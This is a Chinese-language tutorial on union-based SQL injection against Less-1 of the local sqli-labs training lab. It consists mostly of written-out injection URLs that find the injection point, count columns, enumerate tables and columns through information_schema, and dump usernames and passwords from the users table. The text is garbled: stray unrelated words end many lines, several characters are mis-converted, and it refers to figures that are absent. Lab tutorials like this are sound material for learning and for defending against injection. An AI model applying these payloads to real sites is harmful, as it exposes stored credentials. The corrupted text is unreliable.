mysql注入簡要流程以下圖:mysql
因爲還沒學習完先結合sqlilabs的第一關講解信息收集的一部分和數據注入的information_schema的有據查詢。sql
老方法:數據庫
and 1=1 頁面正常學習
and 1=2 頁面錯誤spa
說明可能存在注入點操作系統
最舒服的方法:orm
參數後面隨便輸入,被解析但未出現404可能存在注入。blog
若出現404頁面說明沒有注入點。it
http://127.0.0.1/sqli-labs/Less-1/?id=1 --+io
頁面正常:
參數後面隨便輸:http://127.0.0.1/sqli-labs/Less-1/?id=1323424 --+
被解析,未報錯,說明存在注入點
猜解列名數量(字段數):order by x(爲可變變量) 找出錯誤與正確的臨界值
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4 --+
由上圖可知字段數爲3。
?id=-1' union select 1,2,3 --+
由圖可知,2,3位置可進行回顯。
數據庫版本:version()
數據庫用戶:user()
數據庫名字:database()
操做系統:@@version_compile_os
數據庫版本及數據庫用戶:
數據庫名字及操做系統:
必要知識點:
在mysql5.0及以上版本中mysql存在自帶的數據庫名information_schema,它是一個存記錄有全部數據名、表名、列名的數據庫。也就至關於能夠查詢它獲取指定數據庫下的表名列名信息。
數據庫中符號「.」表明下一級,如a.b表示數據庫a下的b表。
information_schema.tables:記錄全部表名信息的表
information_schema.columns:記錄全部列名信息的表
table_schema:數據庫名
table_name:表名
column_name:列名
查詢security數據庫下的表名信息:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' --+
全部表名信息:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
可知有4張表分別是:emails,referers,uagents,users
由上可推測用戶信息可能在users表中
查詢users表下的列名信息:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
可知users表中的字段爲username和password
查詢users表中的數據:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,username,password from users limit 0,1--+
猜解多個數據可以使用limit x,1(變更猜解)
可知一共有13條數據